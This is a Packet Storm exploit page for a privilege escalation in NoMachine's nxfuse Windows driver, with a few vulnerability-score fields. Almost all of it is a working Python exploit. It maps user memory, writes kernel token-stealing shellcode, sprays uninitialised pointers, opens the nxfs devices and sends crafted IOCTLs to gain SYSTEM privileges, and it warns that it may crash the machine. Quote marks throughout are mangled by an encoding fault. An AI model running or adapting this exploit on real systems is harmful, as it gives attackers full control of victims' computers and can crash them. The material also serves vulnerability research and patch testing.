Lucene search

K
packetstormFidus InfoSecurityPACKETSTORM:146544
HistoryFeb 23, 2018 - 12:00 a.m.

NoMachine nxfuse Privilege Escalation

2018-02-2300:00:00
Fidus InfoSecurity
packetstormsecurity.com
15

0.001 Low

EPSS

Percentile

27.6%

`from ctypes import *  
  
from ctypes.wintypes import *  
  
import struct  
  
import sys  
  
import os  
  
  
  
MEM_COMMIT = 0x00001000  
  
MEM_RESERVE = 0x00002000  
  
PAGE_EXECUTE_READWRITE = 0x00000040  
  
GENERIC_READ = 0x80000000  
  
GENERIC_WRITE = 0x40000000  
  
OPEN_EXISTING = 0x3  
  
STATUS_INVALID_HANDLE = 0xC0000008  
  
  
  
shellcode_len = 90  
  
s = aa  
  
s += a\x65\x48\x8B\x04\x25\x88\x01\x00a #mov rax, [gs:0x188]  
  
s += a\x00a  
  
s += a\x48\x8B\x40\x70a #mov rax, [rax + 0x70]  
  
s += a\x48\x8B\x98\x90\x02\x00\x00a #mov rbx, [rax + 0x290]   
  
s += a\x48\x8B\x80\x88\x01\x00\x00a #mov rax, [rax + 0x188]  
  
s += a\x48\x2D\x88\x01\x00\x00a #sub rax, 0x188  
  
s += a\x48\x39\x98\x80\x01\x00\x00a #cmp [rax + 0x180], rbx  
  
s += a\x75\xEAa #jne Loop1  
  
s += a\x48\x89\xC1a #mov rcx, rax  
  
s += a\xBA\x04\x00\x00\x00a #mov rdx, 0x4  
  
s += a\x48\x8B\x80\x88\x01\x00\x00a #mov rax, [rax + 0x188]  
  
s += a\x48\x2D\x88\x01\x00\x00a #sub rax, 0x188  
  
s += a\x48\x39\x90\x80\x01\x00\x00a #cmp [rax + 0x180], rdx  
  
s += a\x75\xEAa #jne Loop2  
  
s += a\x48\x8B\x80\x08\x02\x00\x00a #mov rax, [rax + 0x208]   
  
s += a\x48\x89\x81\x08\x02\x00\x00a #mov [rcx + 0x208], rax  
  
s += a\x48\x31\xC0a #xor rax,rax  
  
s += a\xc3a #ret  
  
shellcode = s  
  
  
  
  
  
aa  
  
* Convert a python string to PCHAR  
  
@Param string a the string to be converted.  
  
@Return a a PCHAR that can be used by winapi functions.  
  
aa  
  
def str_to_pchar(string):  
  
pString = c_char_p(string)  
  
  
  
return pString  
  
  
  
aa  
  
* Map memory in userspace using NtAllocateVirtualMemory  
  
@Param address a The address to be mapped, such as 0x41414141.  
  
@Param size a the size of the mapping.  
  
@Return a a tuple containing the base address of the mapping and the size returned.  
  
aa  
  
def map_memory(address, size):  
  
temp_address = c_void_p(address)  
  
size = c_uint(size)  
  
  
  
proc = windll.kernel32.GetCurrentProcess()  
  
nt_status = windll.ntdll.NtAllocateVirtualMemory(c_void_p(proc),  
  
byref(temp_address), 0,  
  
byref(size),  
  
MEM_RESERVE|MEM_COMMIT,  
  
PAGE_EXECUTE_READWRITE)  
  
  
  
#The mapping failed, let the calling code know  
  
if nt_status != 0:  
  
return (-1, c_ulong(nt_status).value)  
  
else:  
  
return (temp_address, size)  
  
  
  
aa  
  
* Write to some mapped memory.  
  
@Param address a The address in memory to write to.  
  
@Param size a The size of the write.  
  
@Param buffer a A python buffer that holds the contents to write.  
  
@Return a the number of bytes written.  
  
aa  
  
def write_memory(address, size, buffer):  
  
temp_address = c_void_p(address)  
  
temp_buffer = str_to_pchar(buffer)  
  
proc = c_void_p(windll.kernel32.GetCurrentProcess())  
  
bytes_ret = c_ulong()  
  
size = c_uint(size)  
  
  
  
windll.kernel32.WriteProcessMemory(proc,  
  
temp_address,  
  
temp_buffer,  
  
size,  
  
byref(bytes_ret))  
  
  
  
return bytes_ret  
  
  
  
aa  
  
* Get a handle to a device by its name. The calling code is responsible for  
  
* checking the handle is valid.  
  
@Param device_name a a string representing the name, ie \\\\.\\nxfs-neta|.  
  
aa  
  
def get_handle(device_name):  
  
return windll.kernel32.CreateFileA(device_name,  
  
GENERIC_READ | GENERIC_WRITE,  
  
0,  
  
None,  
  
OPEN_EXISTING,  
  
0,  
  
None)  
  
  
  
def main():  
  
print a[+] Attempting to exploit uninitialised stack variable, this has a chance of causing a bsod!a  
  
  
  
print a[+] Mapping the regions of memory we requirea  
  
  
  
#Try and map the first 3 critical regions, if any of them fail we exit.  
  
address_1, size_1 = map_memory(0x14c00000, 0x1f0000)  
  
if address_1 == -1:  
  
print a[x] Mapping 0x610000 failed with error %xa %size_1  
  
sys.exit(-1)  
  
  
  
address_2, size_2 = map_memory(0x41414141, 0x100000)  
  
if address_2 == -1:  
  
print a[x] Mapping 0x41414141 failed with error %xa %size_2  
  
sys.exit(-1)  
  
  
  
address_3, size_3 = map_memory(0xbad0b0b0, 0x1000)  
  
if address_3 == -1:  
  
print a[x] Mapping 0xbad0b0b0 failed with error %xa %size_3  
  
sys.exit(-1)  
  
  
  
#this will hold our shellcode  
  
sc_address, sc_size = map_memory(0x42424240, 0x1000)  
  
if sc_address == -1:  
  
print a[x] Mapping 0xbad0b0b0 failed with error %xa %sc_size  
  
sys.exit(-1)  
  
  
  
#Now we write certain values to those mapped memory regions  
  
print a[+] Writing data to mapped memorya|a  
  
#the first write involves storing a pointer to our shellcode  
  
#at offset 0xbad0b0b0+0xa8  
  
buff = a\x40BBBa #0x42424240  
  
bytes_written = write_memory(0xbad0b0b0+0xa8, 4, buff)  
  
  
  
write_memory(0x42424240, shellcode_len, shellcode)  
  
  
  
#the second write involves spraying the first memory address with pointers  
  
#to our second mapped memory.  
  
print a\t spraying unitialised pointer memory with userland pointersa  
  
  
  
buff = a\x40AAAa #0x0000000041414140  
  
for offset in range(4, size_1.value, 8):  
  
temp_address = address_1.value + offset  
  
write_memory(temp_address, 4, buff)  
  
  
  
#the third write simply involves setting 0x41414140-0x18 to 0x5  
  
#this ensures the kernel creates a handle to a TOKEN object.  
  
print a[+] Setting TOKEN type index in our userland pointera  
  
buff = a\x05a  
  
temp_address = 0x41414140-0x18  
  
write_memory(temp_address, 1, buff)  
  
  
  
print a[+] Writing memory finished, getting handle to first devicea  
  
handle = get_handle(a\\\\.\\nxfs-709fd562-36b5-48c6-9952-302da6218061a)  
  
  
  
if handle == STATUS_INVALID_HANDLE:  
  
print a[x] Couldnat get handle to \\\\.\\nxfs-709fd562-36b5-48c6-9952-302da6218061a  
  
sys.exit(-1)  
  
  
  
#if we have a valid handle, we now need to send ioctl 0x222014  
  
#this creates a new device for which ioctl 0x222030 can be sent  
  
in_buff = struct.pack(a<Ia, 0x190) + struct.pack(a<Ia, 0x1) + aAAa  
  
in_buff = str_to_pchar(in_buff)  
  
out_buff = str_to_pchar(aAa*0x90)  
  
bytes_ret = c_ulong()  
  
  
  
ret = windll.kernel32.DeviceIoControl(handle,  
  
0x222014,  
  
in_buff,  
  
0x10,  
  
out_buff,  
  
0x90,  
  
byref(bytes_ret),  
  
0)  
  
if ret == 0:  
  
print a[x] IOCTL 0x222014 faileda  
  
sys.exit(-1)  
  
  
  
print a[+] IOCTL 0x222014 returned successa  
  
  
  
#get a handle to the next device for which we can send the vulnerable ioctl.  
  
print a[+] Getting handle to \\\\.\\nxfs-net-709fd562-36b5-48c6-9952-302da6218061{709fd562-36b5-48c6-9952-302da6218061}a  
  
handle = get_handle(a\\\\.\\nxfs-net-709fd562-36b5-48c6-9952-302da6218061{709fd562-36b5-48c6-9952-302da6218061}a)  
  
  
  
if handle == STATUS_INVALID_HANDLE:  
  
print a[x] Couldnat get handlea  
  
sys.exit(-1)  
  
  
  
#this stage involves attempting to manipulate the Object argument on the stack.  
  
#we found that making repeated calles to CreateFileA increased this value.  
  
print a[+] Got handle to second device, now generating a load more handlesa  
  
for i in range(0, 900000):  
  
temp_handle = get_handle(a\\\\.\\nxfs-net-709fd562-36b5-48c6-9952-302da6218061{709fd562-36b5-48c6-9952-302da6218061}a)  
  
  
  
#coming towards the end, we send ioctl 0x222030, this has the potential to bluescreen the system.  
  
#we donat care about the return code.  
  
print a[+] Sending IOCTL 0x222030a  
  
in_buff = str_to_pchar(aAa*0x30)  
  
out_buff = str_to_pchar(aBa*0x30)  
  
  
  
windll.kernel32.DeviceIoControl(handle,  
  
0x222030,  
  
in_buff,  
  
0x30,  
  
out_buff,  
  
0x30,  
  
byref(bytes_ret),  
  
0)  
  
  
  
#finally, we confuse the kernel by setting our object type index to 1.  
  
#this then points to 0xbad0b0b0, and namely 0xbad0b0b0+0xa8 for the close procedure(???)  
  
print a[+] Setting our object type index to 1a  
  
temp_address = 0x41414140-0x18  
  
write_memory(temp_address, 1, a\x01a)  
  
  
  
#The process should now exit, where the kernel will attempt to clean up our dodgy handle  
  
#This will cause a|..  
  
  
  
if __name__ == a__main__a:  
  
main()  
  
`

0.001 Low

EPSS

Percentile

27.6%

Related for PACKETSTORM:146544